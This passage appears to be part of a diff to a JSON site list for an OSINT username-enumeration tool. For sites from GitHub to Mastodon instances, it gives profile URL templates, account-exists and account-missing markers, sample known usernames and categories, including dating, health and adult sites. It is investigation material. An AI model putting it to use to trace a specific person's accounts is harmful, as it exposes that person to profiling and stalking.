"https://github.com/{account}", + "e_code" : 200, + "e_string" : "p-nickname vcard-username d-block", + "m_string" : "Page not found ", + "m_code" : 404, + "known" : ["test", "WebBreacher"], + "cat" : "coding", + "valid" : true + }, + { + "name" : "GitLab", + "uri_check" : "https://gitlab.com/{account}", + "e_code" : 200, + "e_string" : "Member since", + "m_string" : "GitLab.com offers free unlimited", + "m_code" : 302, + "known" : ["skennedy", "KennBro", "alex", "bob"], + "cat" : "coding", + "valid" : true + }, + { + "name" : "gitee", + "uri_check" : "https://gitee.com/{account}", + "e_code" : 200, + "e_string" : "Commits, issues, and pull requests will appear", + "m_string" : "Gitee is more than a development platform", + "m_code" : 404, + "known" : ["maxim"], + "cat" : "coding", + "valid" : true + }, + { + "name" : "gloria.tv", + "uri_check" : "https://gloria.tv/{account}", + "e_code" : 200, + "e_string" : "Last online", + "m_string" : "Page unavailable", + "m_code" : 404, + "known" : ["test", "test2"], + "cat" : "social", + "valid" : true + }, + { + "name" : "gnome_extensions", + "uri_check" : "https://extensions.gnome.org/accounts/profile/{account}", + "e_code" : 200, + "e_string" : "s Profile - GNOME Shell Extensions", + "m_string" : "Uh oh...", + "m_code" : 400, + "known" : ["johnny", "dev"], + "cat" : "coding", + "valid" : true + }, + { + "name" : "Goodgame_Russia", + "uri_check" : "https://goodgame.ru/channel/{account}/", + "e_code" : 200, + "e_string" : "Онлайн-трансляция", + "m_string" : "Такой страницы не существует", + "m_code" : 400, + "known" : ["ejysarmat", "gegeboyz"], + "cat" : "gaming", + "valid" : true + }, + { + "name" : "gpodder.net", + "uri_check" : "https://gpodder.net/user/{account}/", + "e_code" : 200, + "e_string" : "mdash; gpodder.net", + "m_string" : "404 - Not found", + "m_code" : 404, + "known" : ["blue", "red"], + "cat" : "music", + "valid" : true + }, + { + "name" : "grandprof", + "uri_check" : "https://grandprof.org/communaute/{account}", + "e_code" : 200, + "e_string" : "s Profile", + "m_string" : "Mauvaise pioche", + "m_code" : 404, + "known" : ["mohamed01", "amine"], + "cat" : "misc", + "valid" : true + }, + { + "name" : "Gravatar", + "uri_check" : "http://en.gravatar.com/profiles/{account}.json", + "uri_pretty" : "http://en.gravatar.com/profiles/{account}", + "e_code" : 200, + "e_string" : "entry", + "m_string" : "User not found", + "m_code" : 404, + "known" : ["test"], + "cat" : "images", + "valid" : true + }, + { + "name" : "Graphics.social (Mastodon Instance)", + "uri_check" : "https://graphics.social/api/v1/accounts/lookup?acct={account}", + "uri_pretty" : "https://graphics.social/@{account}", + "e_code" : 200, + "e_string" : "display_name", + "m_code" : 404, + "m_string" : "Record not found", + "known" : ["brian", "moonpotato"], + "cat" : "social", + "valid" : true + }, + { + "name" : "gumroad", + "uri_check" : "https://{account}.gumroad.com/", + "invalid_chars" : ".", + "e_code" : 200, + "e_string" : "s profile picture", + "m_string" : "Page not found", + "m_code" : 404, + "known" : ["ellietalksmoney", "reallyniceimages"], + "cat" : "shopping", + "valid" : true + }, + { + "name" : "Hackaday", + "uri_check" : "https://hackaday.io/{account}", + "e_code" : 200, + "e_string" : "'s Profile | Hackaday.io", + "m_string" : "The requested URL was not found on this server. That’s all we know.", + "m_code" : 404, + "known" : ["john", "adam"], + "cat" : "hobby", + "valid" : true + }, + { + "name" : "Hacker News", + "uri_check" : "https://news.ycombinator.com/user?id={account}", + "e_code" : 200, + "e_string" : "created:", + "m_string" : "No such user.", + "m_code" : 200, + "known" : ["mubix", "egypt"], + "cat" : "tech", + "valid" : true + }, + { + "name" : "Hackernoon", + "uri_check" : "https://hackernoon.com/_next/data/foL6JC7ro2FEEMD-gMKgQ/u/{account}.json", + "uri_pretty" : "https://hackernoon.com/u/{account}", + "e_code" : 200, + "e_string" : "\"profile\"", + "m_string" : "__N_REDIRECT", + "m_code" : 200, + "known" : ["john", "alex"], + "cat" : "tech", + "valid" : true + }, + { + "name" : "hackerearth", + "uri_check" : "https://www.hackerearth.com/@{account}", + "e_code" : 200, + "e_string" : "| Developer Profile on HackerEarth", + "m_string" : "404 | HackerEarth", + "m_code" : 200, + "known" : ["peter", "liam"], + "cat" : "coding", + "valid" : true + }, + { + "name" : "HackerOne", + "uri_check" : "https://hackerone.com/{account}", + "e_code" : 200, + "e_string" : "profile that highlights", + "m_string" : "Page not found", + "m_code" : 301, + "known" : ["yashrs", "ameerpornillos"], + "cat" : "tech", + "valid" : true + }, + { + "name" : "HackerRank", + "uri_check" : "https://www.hackerrank.com/profile/{account}", + "e_code" : 200, + "e_string" : " | HackerRank", + "m_string" : ":: HackerRank", + "m_code" : 302, + "known" : ["johnsmith", "FMota"], + "cat" : "tech", + "valid" : true + }, + { + "name" : "hackster", + "uri_check" : "https://www.hackster.io/{account}", + "e_code" : 200, + "e_string" : "- Hackster.io", + "m_string" : "Hackster.io - The community dedi", + "m_code" : 404, + "known" : ["ian", "bob"], + "cat" : "coding", + "valid" : true + }, + { + "name" : "hamaha", + "uri_check" : "https://hamaha.net/{account}", + "e_code" : 200, + "e_string" : "- трейдинг форекс фьючерсы акции фондовый рынок ", + "m_string" : "HAMAHA Биткоин форум.", + "m_code" : 200, + "known" : ["oleg", "misha"], + "cat" : "finance", + "valid" : true + }, + { + "name" : "Hanime", + "uri_check" : "https://hanime.tv/channels/{account}", + "e_code" : 200, + "e_string" : "Channel Views", + "m_code" : 302, + "m_string" : "DYNAMIC", + "known" : ["z", "god"], + "cat" : "XXXPORNXXX", + "valid": true + }, + { + "name" : "Hcommons.social (Mastodon Instance)", + "uri_check" : "https://hcommons.social/api/v1/accounts/lookup?acct={account}", + "uri_pretty" : "https://hcommons.social/@{account}", + "e_code" : 200, + "e_string" : "display_name", + "m_code" : 404, + "m_string" : "Record not found", + "known" : ["hello", "iuulaio"], + "cat" : "social", + "valid" : true + }, + { + "name" : "Heylink", + "uri_check" : "https://heylink.me/{account}/", + "e_code" : 200, + "e_string" : "HeyLink.me |", + "m_string" : "We can't find the page that you're looking for :(", + "m_code" : 404, + "known" : ["mohammed13", "johnny"], + "cat" : "misc", + "valid" : true + }, + { + "name" : "hiberworld", + "uri_check" : "https://hiberworld.com/u/{account}", + "e_code" : 200, + "e_string" : "Creations by ", + "m_string" : "Looks like you got lost ", + "m_code" : 200, + "known" : ["Axeman", "Silver01"], + "cat" : "gaming", + "valid" : true + }, + { + "name" : "HiHello", + "uri_check" : "https://www.hihello.me/author/{account}", + "e_code" : 200, + "e_string" : "HiHello Blog Author: ", + "m_string" : "Well, this is awkward", + "m_code" : 404, + "known" : ["pascal-theriault", "kortnee-paiha"], + "cat" : "business", + "valid" : true + }, + { + "name" : "Historians.social (Mastodon Instance)", + "uri_check" : "https://historians.social/api/v1/accounts/lookup?acct={account}", + "uri_pretty" : "https://historians.social/@{account}", + "e_code" : 200, + "e_string" : "display_name", + "m_code" : 404, + "m_string" : "Record not found", + "known" : ["lizcovart", "Ejoiner"], + "cat" : "social", + "valid" : true + }, + { + "name" : "HomeDesign3D", + "uri_check" : "https://en.homedesign3d.net/user/{account}", + "e_code" : 200, + "e_string" : "userspace", + "m_string" : "An Error Occurred: Internal Server Error", + "m_code" : 500, + "known" : ["carlos01", "paul"], + "cat" : "hobby", + "valid" : true + }, + { + "name" : "Hometech.social (Mastodon Instance)", + "uri_check" : "https://hometech.social/api/v1/accounts/lookup?acct={account}", + "uri_pretty" : "https://hometech.social/@{account}", + "e_code" : 200, + "e_string" : "display_name", + "m_code" : 404, + "m_string" : "Record not found", + "known" : ["one4ll", "seth"], + "cat" : "social", + "valid" : true + }, + { + "name" : "hoo.be", + "uri_check" : "https://hoo.be/{account}", + "e_code" : 200, + "e_string" : "--profile-name-color", + "m_string" : "Page Not Found</h3>", + "m_code" : 404, + "known" : ["chrishemsworth", "alextackie"], + "cat" : "business", + "valid" : true + }, + { + "name" : "Hostux.social (Mastodon Instance)", + "uri_check" : "https://hostux.social/api/v1/accounts/lookup?acct={account}", + "uri_pretty" : "https://hostux.social/@{account}", + "e_code" : 200, + "e_string" : "display_name", + "m_code" : 404, + "m_string" : "Record not found", + "known" : ["alarig", "rsmela"], + "cat" : "social", + "valid" : true + }, + { + "name" : "Houzz", + "uri_check" : "https://www.houzz.com/user/{account}", + "e_code" : 200, + "e_string" : "Followers", + "m_string" : "Page Not Found", + "m_code" : 404, + "known" : ["liam", "alex"], + "cat" : "hobby", + "valid" : true + }, + { + "name" : "HubPages", + "uri_check" : "https://hubpages.com/@{account}", + "e_code" : 200, + "e_string" : "name\">Followers", + "m_string" : "Sorry, that user does not exist", + "m_code" : 404, + "known" : ["greeneyes1607", "lmmartin"], + "cat" : "blog", + "valid" : true + }, + { + "name" : "Hubski", + "uri_check" : "https://hubski.com/user/{account}", + "e_code" : 200, + "e_string" : "'s profile", + "m_string" : "No such user.", + "m_code" : 200, + "known" : ["john", "blue"], + "cat" : "social", + "valid" : true + }, + { + "name" : "hugging_face", + "uri_check" : "https://huggingface.co/{account}", + "e_code" : 200, + "e_string" : "thumbnails.huggingface.co/social-thumbnails/", + "m_string" : "Sorry, we can't find the page you are looking for.", + "m_code" : 404, + "known" : ["hack", "dev"], + "cat" : "tech", + "valid" : true + }, + { + "name" : "Iconfinder", + "uri_check" : "https://www.iconfinder.com/{account}", + "e_code" : 200, + "e_string" : "iconsets", + "m_string" : "Page not found", + "m_code" : 404, + "known" : ["roundicons", "iconfinder"], + "cat" : "images", + "valid" : true + }, + { + "name" : "icq-chat", + "uri_check" : "https://icq.icqchat.co/members/{account}/", + "e_code" : 200, + "e_string" : "ICQ chat", + "m_string" : "Oops! We ran into some problems", + "m_code" : 404, + "known" : ["brookenora.54", "bigdaddy.77"], + "cat" : "social", + "valid" : true + }, + { + "name" : "IFTTT", + "uri_check" : "https://ifttt.com/p/{account}", + "e_code" : 200, + "e_string" : "Joined", + "m_string" : "The requested page or file does not exist", + "m_code" : 404, + "known" : ["nr9992", "sss90"], + "cat" : "misc", + "valid" : true + }, + { + "name" : "ifunny", + "uri_check" : "https://ifunny.co/user/{account}", + "e_code" : 200, + "e_string" :"subscribers", + "m_string" : "404 - page not found", + "m_code" : 404, + "known" : ["hacker", "john"], + "cat" : "misc", + "valid" : true + }, + { + "name" : "igromania", + "uri_check" : "http://forum.igromania.ru/member.php?username={account}", + "e_code" : 200, + "e_string" : "Форум Игромании - Просмотр профиля:", + "m_string" : "Пользователь не зарегистрирован и не имеет профиля для просмотра.", + "m_code" : 200, + "known" : ["bob", "blue"], + "cat" : "social", + "valid" : true + }, + { + "name" : "ilovegrowingmarijuana", + "uri_check" : "https://support.ilovegrowingmarijuana.com/u/{account}", + "e_code" : 200, + "e_string" : "<title> Profile - ", + "m_string" : "Oops! That page doesn’t exist or is private", + "m_code" : 404, + "known" : ["ILGM.Stacy", "Mosaicmind9x"], + "cat" : "social", + "valid" : true + }, + { + "name" : "imagefap", + "uri_check" : "https://www.imagefap.com/profile/{account}", + "e_code" : 200, + "e_string" : "s Profile", + "m_string" : "Invalid uid", + "m_code" : 200, + "known" : ["lover03", "SecretSide15"], + "cat" : "XXXPORNXXX", + "valid" : true + }, + { + "name" : "ImageShack", + "uri_check" : "https://imageshack.com/user/{account}", + "e_code" : 200, + "e_string" : "s Images", + "m_string" : "", + "m_code" : 302, + "known" : ["test"], + "cat" : "images", + "valid" : true + }, + { + "name" : "iMGSRC.RU", + "uri_check" : "https://imgsrc.ru/main/user.php?lang=ru&user={account}", + "e_code" : 200, + "e_string" : "Присоединился", + "m_string" : "", + "m_code" : 302, + "known" : ["natalisn","andydiamond","natalyck"], + "cat" : "images", + "valid" : true + }, + { + "name" : "imgur", + "uri_check" : "https://api.imgur.com/account/v1/accounts/{account}?client_id=546c25a59c58ad7&include=trophies%2Cmedallions", + "uri_pretty" : "https://imgur.com/user/{account}/about", + "e_code" : 200, + "e_string" : "created_at", + "m_string" : "unable to find account", + "m_code" : 404, + "known" : ["OliverClothesoff70", "DadOnTheInternet"], + "cat" : "images", + "valid" : true + }, + { + "name" : "inaturalist", + "uri_check" : "https://inaturalist.nz/people/{account}", + "e_code" : 200, + "e_string" : "s Profile", + "m_string" : "404 Not Found", + "m_code" : 404, + "known" : ["greg", "tom"], + "cat" : "hobby", + "valid" : true + }, + { + "name" : "Independent academia", + "uri_check" : "https://independent.academia.edu/{account}", + "e_code" : 200, + "e_string" : "- Academia.edu", + "m_string" : "Academia.edu", + "m_code" : 404, + "known" : ["peter", "LiamM"], + "cat" : "hobby", + "valid" : true + }, + { + "name" : "InkBunny", + "uri_check" : "https://inkbunny.net/{account}", + "e_code" : 200, + "e_string" : "Profile | Inkbunny, the Furry Art Community", + "m_string" : "Members | Inkbunny, the Furry Art Community", + "m_code" : 302, + "known" : ["AdminBunny", "test"], + "cat" : "XXXPORNXXX", + "valid" : true + }, + { + "name" : "InsaneJournal", + "uri_check" : "https://{account}.insanejournal.com/profile", + "invalid_chars" : ".", + "e_code" : 200, + "e_string" : "User:", + "m_string" : "The requested URL /profile was not found on this server", + "m_code" : 200, + "known" : ["test", "pint-sized", "acroamatica"], + "cat" : "social", + "valid" : true + }, + { + "name" : "Instagram", + "uri_pretty" : "https://instagram.com/{account}", + "uri_check" : "https://www.picuki.com/profile/{account}", + "e_code" : 200, + "e_string" : "Instagram profile with posts and stories", + "m_string" : "Nothing found!", + "m_code" : 404, + "known" : ["katyperry", "kirbstr"], + "cat" : "social", + "valid" : true + }, + { + "name" : "instructables", + "uri_check" : "https://www.instructables.com/member/{account}/", + "e_code" : 200, + "e_string" : ">Joined", + "m_string" : "", + "m_code" : 404, + "known" : ["davidandora", "test"], + "cat" : "hobby", + "valid" : true + }, + { + "name" : "Internet Archive Account", + "uri_check" : "https://archive.org/details/@{account}", + "e_code" : 200, + "e_string" : "User Account", + "m_string" : "<title>cannot find account", + "m_code" : 200, + "known" : ["webbreacher", "jason_scott"], + "cat" : "misc", + "valid" : true + }, + { + "name" : "Internet Archive User Search", + "uri_check" : "https://archive.org/search.php?query={account}", + "e_code" : 200, + "e_string" : "<!--/.item-ia-->", + "m_string" : "", + "m_code" : 200, + "known" : ["test", "mubix"], + "cat" : "misc", + "valid" : true + }, + { + "name" : "interpals", + "uri_check" : "https://www.interpals.net/{account}", + "e_code" : 200, + "e_string" : "Looking for", + "m_string" : "User not found", + "m_code" : 200, + "known" : ["test"], + "cat" : "dating", + "valid" : true + }, + { + "name" : "isMyGirl", + "uri_check" : "https://api.fxcservices.com/pub/user/{account}", + "uri_pretty" : "https://ismygirl.com/{account}", + "e_code" : 200, + "e_string" : "display_name", + "m_code" : 404, + "m_string" : "User does not exist", + "known" : ["kasumineechan", "blinky"], + "cat" : "finance", + "valid" : true + }, + { + "name" : "issuu", + "uri_check" : "https://issuu.com/{account}", + "e_code" : 200, + "e_string" : "- Issuu", + "m_string" : "Oops — we can’t seem to find the page you’re looking for.", + "m_code" : 404, + "known" : ["john", "smith"], + "cat" : "shopping", + "valid" : true + }, + { + "name" : "itch.io", + "uri_check" : "https://itch.io/profile/{account}", + "e_code" : 200, + "e_string" : "A member registered", + "m_code" : 404, + "m_string" : "We couldn't find your page", + "known" : ["prestent", "finch"], + "cat" : "gaming", + "valid" : true + }, + { + "name" : "Japandict", + "uri_check" : "https://forum.japandict.com/u/{account}", + "e_code" : 200, + "e_string" : "Mentions", + "m_code" : 404, + "m_string" : "The page you requested could not be found.", + "known" : ["Yan", "Happy"], + "cat" : "social", + "valid" : true + }, + { + "name" : "jeja.pl", + "uri_check" : "https://www.jeja.pl/user,{account}", + "e_code" : 200, + "e_string" : "Profil użytkownika", + "m_string" : "Niepoprawny login", + "m_code" : 200, + "known" : ["kowal", "janek"], + "cat" : "misc", + "valid" : true + }, + { + "name" : "JBZD", + "uri_check" : "https://jbzd.com.pl/uzytkownik/{account}", + "e_code" : 200, + "e_string" : "Dzidy użytkownika", + "m_string" : "Błąd 404", + "m_code" : 404, + "known" : ["test", "janek"], + "cat" : "images", + "valid" : true + }, + { + "name" : "Jeuxvideo", + "uri_check" : "https://www.jeuxvideo.com/profil/{account}?mode=infos", + "e_code" : 200, + "e_string" : "- jeuxvideo.com", + "m_string" : "rence des gamers", + "m_code" : 404, + "known" : ["jane", "alex"], + "cat" : "gaming", + "valid" : true + }, + { + "name" : "Joe Monster", + "uri_check" : "https://joemonster.org/bojownik/{account}", + "e_code" : 200, + "e_string" : "jest prywatny", + "m_string" : "Nie wiem jak ci to powiedzieć", + "m_code" : 200, + "known" : ["dandris", "lasior"], + "cat" : "misc", + "valid" : true + }, + { + "name" : "JSFiddle", + "uri_check" : "https://jsfiddle.net/user/{account}/", + "e_code" : 200, + "e_string" : "Settings - JSFiddle - Code Playground", + "m_string" : "That page doesn't exist.", + "m_code" : 404, + "known" : ["john", "alex"], + "cat" : "coding", + "valid" : true + }, + { + "name" : "Justforfans", + "uri_check" : "https://justfor.fans/{account}", + "e_code" : 200, + "e_string" : " @ JustFor.Fans", + "m_string" : "", + "m_code" : 302, + "known" : ["devinfrancoxxx", "RileyChaux"], + "cat" : "XXXPORNXXX", + "valid" : true + }, + { + "name" : "kaggle", + "uri_check" : "https://www.kaggle.com/{account}", + "e_code" : 200, + "e_string" : "| Kaggle", + "m_string" : "Kaggle: Your Home for Data Science", + "m_code" : 404, + "known" : ["babyoda", "residentmario"], + "cat" : "coding", + "valid" : true + }, + { + "name" : "karab.in", + "uri_check" : "https://karab.in/u/{account}", + "e_code" : 200, + "e_string" : "Dołączył:", + "m_string" : "Błąd 404", + "m_code" : 404, + "known" : ["ernest", "puszkapandory"], + "cat" : "social", + "valid" : true + }, + { + "name" : "Keybase", + "uri_check" : "https://keybase.io/{account}", + "e_code" : 200, + "e_string" : "username", + "m_string" : "sorry, not found", + "m_code" : 404, + "known" : ["test", "mubix"], + "cat" : "social", + "valid" : true + }, + { + "name" : "Kickstarter", + "uri_check" : "https://www.kickstarter.com/profile/{account}", + "e_code" : 200, + "e_string" : "projects", + "m_string" : "Oops, Something went missing", + "m_code" : 404, + "known" : ["john", "bob"], + "cat" : "shopping", + "valid" : true + }, + { + "name" : "kik", + "uri_check" : "https://ws2.kik.com/user/{account}", + "e_code" : 200, + "e_string" : "firstName", + "m_string" : "The page you requested was not found", + "m_code" : 200, + "known" : ["adam", "smith", "jones"], + "cat" : "social", + "valid" : true + }, + { + "name" : "kipin", + "uri_check" : "https://kipin.app/{account}", + "e_code" : 200, + "e_string" : "kipin.app/data/photos/resized2/", + "m_string" : "Page not found. Link expired, broken or wrong.", + "m_code" : 302, + "known" : ["monethica", "asd_fca"], + "cat" : "business", + "valid" : true + }, + { + "name" : "KnowYourMeme", + "uri_check" : "https://knowyourmeme.com/users/{account}", + "e_code" : 200, + "e_string" : "Contributions", + "m_code" : 400, + "m_string" : "404, File Not Found!", + "known" : ["ayumukasuga", "butterin-yobread"], + "cat" : "social", + "valid" : true + }, + { + "name" : "Ko-Fi", + "uri_check" : "https://ko-fi.com/{account}", + "e_code" : 200, + "e_string" : "> Buy a Coffee for", + "m_string" : "Object moved to", + "m_code" : 302, + "known" : ["frank", "marcmakescomics"], + "cat" : "social", + "valid" : true + }, + { + "name" : "Kongregate", + "uri_check" : "https://www.kongregate.com/accounts/{account}", + "e_code" : 200, + "e_string" : "Member Since", + "m_string" : "Sorry, no account with that name was found", + "m_code" : 404, + "known" : ["test"], + "cat" : "gaming", + "valid" : true + }, + { + "name" : "Kotburger", + "uri_check" : "https://kotburger.pl/user/{account}", + "e_code" : 200, + "e_string" : "Zamieszcza kotburgery od:", + "m_string" : "Nie znaleziono użytkownika o podanym loginie.", + "m_code" : 200, + "known" : ["ania", "janek"], + "cat" : "images", + "valid" : true + }, + { + "name" : "kwejk.pl", + "uri_check" : "https://kwejk.pl/uzytkownik/{account}#/tablica/", + "e_code" : 200, + "e_string" : "Kwejki użytkownika", + "m_string" : "404 - strona nie została znaleziona - KWEJK.pl", + "m_code" : 404, + "known" : ["test", "janek"], + "cat" : "images", + "valid" : true + }, + { + "name" : "LibraryThing", + "uri_check" : "https://www.librarything.com/profile/{account}", + "e_code" : 200, + "e_string" : "Collections", + "m_string" : "Error: This user doesn't exist", + "m_code" : 200, + "known" : ["test", "john"], + "cat" : "hobby", + "valid" : true + }, + { + "name" : "Libretooth.gr (Mastodon Instance)", + "uri_check" : "https://libretooth.gr/api/v1/accounts/lookup?acct={account}", + "uri_pretty" : "https://libretooth.gr/@{account}", + "e_code" : 200, + "e_string" : "display_name", + "m_code" : 404, + "m_string" : "Record not found", + "known" : ["infolibre", "tzinalilik"], + "cat" : "social", + "valid" : true + }, + { + "name" : "lichess", + "uri_check" : "https://lichess.org/@/{account}", + "e_code" : 200, + "e_string" : "Activity", + "m_string" : "Page not found", + "m_code" : 404, + "known" : ["mohammed01", "mohammed03"], + "cat" : "gaming", + "valid" : true + }, + { + "name" : "likeevideo", + "uri_check" : "https://likee.video/@{account}", + "e_code" : 200, + "e_string" : "https://img.like.video/", + "m_string" : " </h1>", + "m_code" : 404, + "known" : ["owlthorns", "Severkosh"], + "cat" : "social", + "valid" : true + }, + { + "name" : "LINE", + "uri_check" : "https://line.me/R/ti/p/@{account}?from=page", + "e_code" : 200, + "e_string" : "Add LINE Friends via QR Code", + "m_code" : 404, + "m_string" : "404 Not Found", + "known" : [ "roseareal", "yoasobi" ], + "cat" : "social", + "valid" : true + }, + { + "name" : "Linktree", + "uri_check" : "https://linktr.ee/{account}", + "e_code" : 200, + "e_string" : "| Linktree", + "m_string" : "The page you’re looking for doesn’t exist.", + "m_code" : 404, + "known" : ["anne", "alex"], + "cat" : "social", + "valid" : true + }, + { + "name" : "linux.org.ru", + "uri_check" : "https://www.linux.org.ru/people/{account}/profile", + "e_code" : 200, + "e_string" : "Дата регистрации", + "m_string" : "Пользователя не существует", + "m_code" : 404, + "known" : ["john", "bob"], + "cat" : "tech", + "valid" : true + }, + { + "name" : "Litmind.club (Mastodon Instance)", + "uri_check" : "https://litmind.club/api/v1/accounts/lookup?acct={account}", + "uri_pretty" : "https://litmind.club/@{account}", + "e_code" : 200, + "e_string" : "display_name", + "m_code" : 404, + "m_string" : "Record not found", + "known" : ["litmind", "aperture"], + "cat" : "social", + "valid" : true + }, + { + "name" : "Livejournal", + "uri_check" : "https://{account}.livejournal.com", + "invalid_chars" : ".", + "e_code" : 200, + "e_string" : "<link rel=\"canonical\" href=\"", + "m_string" : "<title>Unknown Journal", + "m_code" : 404, + "known" : ["jill", "john"], + "cat" : "blog", + "valid" : true + }, + { + "name" : "livemaster.ru", + "uri_check" : "https://www.livemaster.ru/{account}", + "e_code" : 200, + "e_string" : "<title>Магазин мастера", + "m_string" : "<title>Вы попали на несуществующую страницу", + "m_code" : 404, + "known" : ["redart", "ellentoy"], + "cat" : "shopping", + "valid" : true + }, + { + "name" : "lobste.rs", + "uri_check" : "https://lobste.rs/u/{account}", + "e_code" : 200, + "e_string" : "Joined", + "m_string" : "The resource you requested was not found, or the story has been deleted.", + "m_code" : 404, + "known" : ["john", "bob"], + "cat" : "tech", + "valid" : true + }, + { + "name" : "Lor.sh (Mastodon Instance)", + "uri_check" : "https://lor.sh/api/v1/accounts/lookup?acct={account}", + "uri_pretty" : "https://lor.sh/@{account}", + "e_code" : 200, + "e_string" : "display_name", + "m_code" : 404, + "m_string" : "Record not found", + "known" : ["dump_stack", "lamountain"], + "cat" : "social", + "valid" : true + }, + { + "name" : "love_ru", + "uri_check" : "https://love.ru/{account}", + "e_code" : 200, + "e_string" : "Love.ru", + "m_string" : "404", + "m_code" : 404, + "known" : ["igor", "anna"], + "cat" : "social", + "valid" : true + }, + { + "name" : "lowcygier.pl", + "uri_check" : "https://bazar.lowcygier.pl/user/{account}", + "e_code" : 200, + "e_string" : "Zarejestrowany", + "m_string" : "Błąd 404 - Podana strona nie istnieje", + "m_code" : 404, + "known" : ["armin", "janek"], + "cat" : "gaming", + "valid" : true + }, + { + "name" : "MAGABOOK", + "uri_check" : "https://magabook.com/{account}", + "e_code" : 200, + "e_string" : "Recent Updates", + "m_string" : "Page Not Be Found", + "m_code" : 200, + "known" : ["PamelaElliott62", "eric"], + "cat" : "social", + "valid" : true + }, + { + "name" : "MAGA-CHAT", + "uri_check" : "https://maga-chat.com/{account}", + "e_code" : 200, + "e_string" : "Recent Updates", + "m_string" : "Page Not Be Found", + "m_code" : 200, + "known" : ["Rich", "RjosephJr"], + "cat" : "social", + "valid" : true + }, + { + "name" : "Magix", + "uri_check" : "https://www.magix.info/us/users/profile/{account}/", + "e_code" : 200, + "e_string" : "About me", + "m_string" : "Page not found", + "m_code" : 200, + "known" : ["baywolfmusic", "johnebaker"], + "cat" : "music", + "valid" : true + }, + { + "name" : "MANYVIDS", + "uri_check" : "https://www.manyvids.com/results.php?keywords={account}", + "e_code" : 200, + "e_string" : " Vids</h3>", + "m_string" : "did not return any results", + "m_code" : 200, + "known" : ["alexbreecooper", "sweetkiss_69"], + "cat" : "XXXPORNXXX", + "valid" : true + }, + { + "name" : "MapMyTracks", + "uri_check" : "https://www.mapmytracks.com/{account}", + "e_code" : 200, + "e_string" : "Daily distance this week", + "m_string" : "Outside together", + "m_code" : 302, + "known" : ["ulirad", "CBSloan"], + "cat" : "health", + "valid" : true + }, + { + "name" : "Mapstodon.space (Mastodon Instance)", + "uri_check" : "https://mapstodon.space/api/v1/accounts/lookup?acct={account}", + "uri_pretty" : "https://mapstodon.space/@{account}", + "e_code" : 200, + "e_string" : "display_name", + "m_code" : 404, + "m_string" : "Record not found", + "known" : ["Autumnhussar", "jeremy"], + "cat" : "social", + "valid" : true + }, + { + "name" : "Maroc_nl", + "uri_check" : "https://www.maroc.nl/forums/members/{account}.html", + "e_code" : 200, + "e_string" :"Bekijk Profiel:", + "m_string" : "Deze gebruiker is niet geregistreerd", + "m_code" : 200, + "known" : ["brahim", "brahim01"], + "cat" : "social", + "valid" : true + }, + { + "name" : "Marshmallow", + "uri_check" : "https://marshmallow-qa.com/{account}", + "e_code" : 200, + "e_string" : "さんにメッセージをおくる", + "m_string" : "For compensation, here are cats for you.", + "m_code" : 404, + "known" : ["yuino_fox", "momo"], + "cat" : "social", + "valid" : true + }, + { + "name" : "Martech", + "uri_check" : "https://martech.org/author/{account}/", + "e_code" : 200, + "e_string" : "twitter:site", + "m_string" : "Page not found", + "m_code" : 404, + "known" : ["mani-karthik", "james-green"], + "cat" : "business", + "valid" : true + }, + { + "name" : "Massage Anywhere", + "uri_check" : "https://www.massageanywhere.com/profile/{account}", + "e_code" : 200, + "e_string" : "<title>MassageAnywhere.com Profile for ", + "m_string" : "<title>MassageAnywhere.com: Search Results", + "m_code" : 200, + "known" : ["lorilmccluskey", "LomiNYC"], + "cat" : "health", + "valid" : true + }, + { + "name" : "Mas.town (Mastodon Instance)", + "uri_check" : "https://mas.town/api/v1/accounts/lookup?acct={account}", + "uri_pretty" : "https://mas.town/@{account}", + "e_code" : 200, + "e_string" : "display_name", + "m_code" : 404, + "m_string" : "Record not found", + "known" : ["brett", "cheng"], + "cat" : "social", + "valid" : true + }, + { + "name" : "masto.ai", + "uri_check" : "https://masto.ai/@{account}", + "e_code" : 200, + "e_string" : "@masto.ai) - Mastodon", + "m_string" : "The page you are looking for isn't here.", + "m_code" : 404, + "known" : ["rbreich", "stux"], + "cat" : "social", + "valid" : true + }, + { + "name" : "Masto.nyc (Mastodon Instance)", + "uri_check" : "https://masto.nyc/api/v1/accounts/lookup?acct={account}", + "uri_pretty" : "https://masto.nyc/@{account}", + "e_code" : 200, + "e_string" : "display_name", + "m_code" : 404, + "m_string" : "Record not found", + "known" : ["seano", "jayjay718"], + "cat" : "social", + "valid" : true + }, + { + "name" : "Mastodonbooks.net (Mastodon Instance)", + "uri_check" : "https://mastodonbooks.net/api/v1/accounts/lookup?acct={account}", + "uri_pretty" : "https://mastodonbooks.net/@{account}", + "e_code" : 200, + "e_string" : "display_name", + "m_code" : 404, + "m_string" : "Record not found", + "known" : ["RogerRemacle", "eugnick"], + "cat" : "social", + "valid" : true + }, + { + "name" : "Mastodon-mastodon", + "uri_check" : "https://mastodon.social/@{account}", + "e_code" : 200, + "e_string" : "profile:username", + "m_string" : "The page you are looking for isn't here.", + "m_code" : 404, + "known" : ["john", "alex"], + "cat" : "social", + "valid" : true + }, + { + "name" : "Mastodon.chasedem.dev (Mastodon Instance)", + "uri_check" : "https://mastodon.chasem.dev/api/v1/accounts/lookup?acct={account}", + "uri_pretty" : "https://mastodon.chasem.dev/@{account}", + "e_code" : 200, + "e_string" : "display_name", + "m_code" : 404, + "m_string" : "Record not found", + "known" : ["chase", "George"], + "cat" : "social", + "valid" : true + }, + { + "name" : "Mastodon-API", + "uri_check" : "https://mastodon.social/api/v2/search?q={account}", + "e_code" : 200, + "e_string" : "display_name", + "m_string" : "accounts\":[],\"statuses\":[],\"hashtags\":", + "m_code" : 404, + "known" : ["Richard_Littler", "webbreacher"], + "cat" : "social", + "valid" : true + }, + { + "name" : "Mastodon.online", + "uri_check" : "https://mastodon.online/@{account}", + "e_code" : 200, + "e_string" : "@mastodon.online) - Mastodon", + "m_string" : "The page you are looking for isn't here.", + "m_code" : 404, + "known" : ["Gargron", "RDHale"], + "cat" : "social", + "valid" : true + }, + { + "name" : "Mastodon-Toot.Community", + "uri_check" : "https://toot.community/@{account}", + "e_code" : 200, + "e_string" : "@toot.community) - toot.community", + "m_string" : "The page you are looking for isn't here.", + "m_code" : 404, + "known" : ["Johnny", "jorijn"], + "cat" : "social", + "valid" : true + }, + { + "name" : "Mastodon-climatejustice.rocks", + "uri_check" : "https://climatejustice.rocks/@{account}", + "e_code" : 200, + "e_string" : "@climatejustice.rocks) - Mastodon", + "m_string" : "The page you are looking for isn't here.", + "m_code" : 404, + "known" : ["paula", "ahmed76farag"], + "cat" : "social", + "valid" : true + }, + { + "name" : "MCName (Minecraft)", + "uri_check" 